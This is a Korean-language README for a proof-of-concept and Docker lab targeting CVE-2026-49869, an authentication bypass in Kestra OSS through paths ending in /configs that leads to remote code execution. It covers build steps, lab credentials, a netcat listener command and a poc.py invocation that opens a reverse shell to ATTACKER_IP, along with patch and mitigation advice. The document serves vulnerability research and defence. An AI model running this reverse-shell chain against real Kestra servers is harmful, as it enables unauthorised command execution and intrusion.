
CVE-2026-49869에 대한 PoC 및 Docker 랩으로, AuthenticationFilter 경로 우회를 통해 Kestra OSS에서 발생하는 인증되지 않은 RCE로, 플로우 생성 및 명령 실행이 가능합니다.
★Kestra OSS AuthenticationFilter의 인증 우회에 대한 PoC 및 Docker 랩★
본인이 통제하는 시스템에서만 이 랩을 실행하십시오.
-p 8080:8080예시는 취약한 API를 모든 호스트 인터페이스에 게시할 수 있으므로, 다른 네트워크로부터의 접근을 차단하십시오.
https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865
Kestra는 API를 보호하기 위해 Basic Auth를 사용합니다. 영향을 받는 OSS 버전에서 AuthenticationFilter는 /configs로 끝나는 모든 요청 경로를 공개 구성 엔드포인트로 취급합니다. 따라서 인증되지 않은 클라이언트가 configs라는 이름의 플로우를 생성한 다음, 둘 다 /configs로 끝나는 API 경로를 통해 이를 실행할 수 있습니다. 해당 플로우의 셸 태스크는 Kestra 워커 컨테이너에서 명령을 실행할 수 있습니다. 이 결함과 RCE 체인은 Kestra 보안 권고에 설명되어 있습니다.
| Kestra OSS 브랜치 | 취약한 버전 | 최초 패치 버전 |
|---|---|---|
| 1.0.x 및 이전 | 1.0.45 이전 | 1.0.45 |
| 1.1.x–1.3.x | 1.1.0부터 1.3.20까지 | 1.3.21 |
이 랩은 OSS Basic Auth가 활성화된 v1.3.20을 사용합니다. 이 문제는 Kestra API에 접근 가능할 때 이 인증 경로에 영향을 미칩니다. 로컬 이미지는 kestra/kestra:v1.3.20을 기반으로 합니다.
/configs로 끝나는 다른 리소스에 접근하거나 수정합니다. 권고는 또한 워크플로 템플릿을 통한 SSRF도 설명합니다.컨테이너 권한이 호스트 권한을 의미하지는 않습니다.
저장소에는 이 README와 함께 Dockerfile, entrypoint.sh, poc.py가 포함되어야 합니다. 대상을 실행하려면 Docker가 필요하고, PoC를 실행하려면 Python 3가 필요합니다. 설치해야 할 Python 패키지는 없습니다.
docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab
entrypoint.sh는 랩 전용 계정으로 Basic Auth를 활성화합니다:
| 사용자 이름 | 비밀번호 |
|---|---|
[email protected] | Eqst123! |
Kestra는 이메일 형식의 사용자 이름과 최소 8자, 대문자와 소문자, 숫자를 포함하는 비밀번호를 요구합니다. 이 자격 증명은 로컬 테스트용으로만 공개됩니다.
첫 번째 요청이 200을 반환할 때까지 기다리십시오. 두 번째 요청은 401을 반환하여 Basic Auth가 일반 API 경로를 보호하고 있음을 보여주어야 합니다:
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs
중지된 컨테이너가 이미 같은 이름을 가지고 있다면 docker start cve-2026-49869-lab으로 재사용하거나, docker run으로 새 컨테이너를 생성하기 전에 해당 컨테이너를 제거하십시오.
이 스크립트는 자격 증명 없이 두 개의 요청을 보냅니다. 하나는 셸 태스크로 configs/configs를 생성하거나 업데이트하고, 다음은 그 실행을 시작합니다. 기존에 사용자가 생성한 플로우는 필요하지 않습니다. 스크립트를 다시 실행하면 같은 이름의 랩 플로우가 대체됩니다.
먼저 셸 연결을 수신할 머신에서 리스너를 시작하십시오:
nc -lvnp LISTENER_PORT
그런 다음 poc.py가 있는 디렉터리에서 PoC를 실행하십시오:
python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT
같은 머신의 Docker 랩에서는 TARGET을 127.0.0.1로 바꾸십시오. ATTACKER_IP는 컨테이너가 접근할 수 있는 IPv4 주소로 설정하십시오. 스크립트는 리스너를 시작하지 않습니다. 스크립트는 실행 ID를 포함한 실행 응답을 출력합니다. 리버스 셸 자체가 작동했는지 확인하려면 리스너에서의 연결이 필요합니다.
기록된 로컬 테스트는 인증 우회와 워크플로 실행을 검증하기 위해 무해한 Log 태스크를 사용했습니다. 리버스 셸 페이로드는 실행하지 않았습니다.
| 확인 | v1.3.20 | v1.3.21 |
|---|---|---|
| 자격 증명 없는 일반 보호 API | 401 | 401 |
자격 증명 없는 configs 플로우 생성 | 200 | 401 |
자격 증명 없는 configs 실행 시작 | 200 | 401 |
| 취약한 버전에서의 무해한 태스크 | SUCCESS, 로그에 마커 | — |
리버스 셸 콜백은 이 기록된 결과에 포함되지 않습니다.
1.0.x 브랜치에서는 최소 1.0.45로, 1.1.x–1.3.x 브랜치에서는 1.3.21로 업그레이드하십시오. 업스트림 수정은 경로를 정규화하고 모든 /configs 접미사를 허용하는 대신 정확한 공개 구성 라우트를 확인합니다. 업그레이드가 완료될 때까지 Kestra API에 대한 접근을 제한하고, 프록시에서 의도된 공개 라우트에만 인증되지 않은 접근을 허용하십시오.
docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab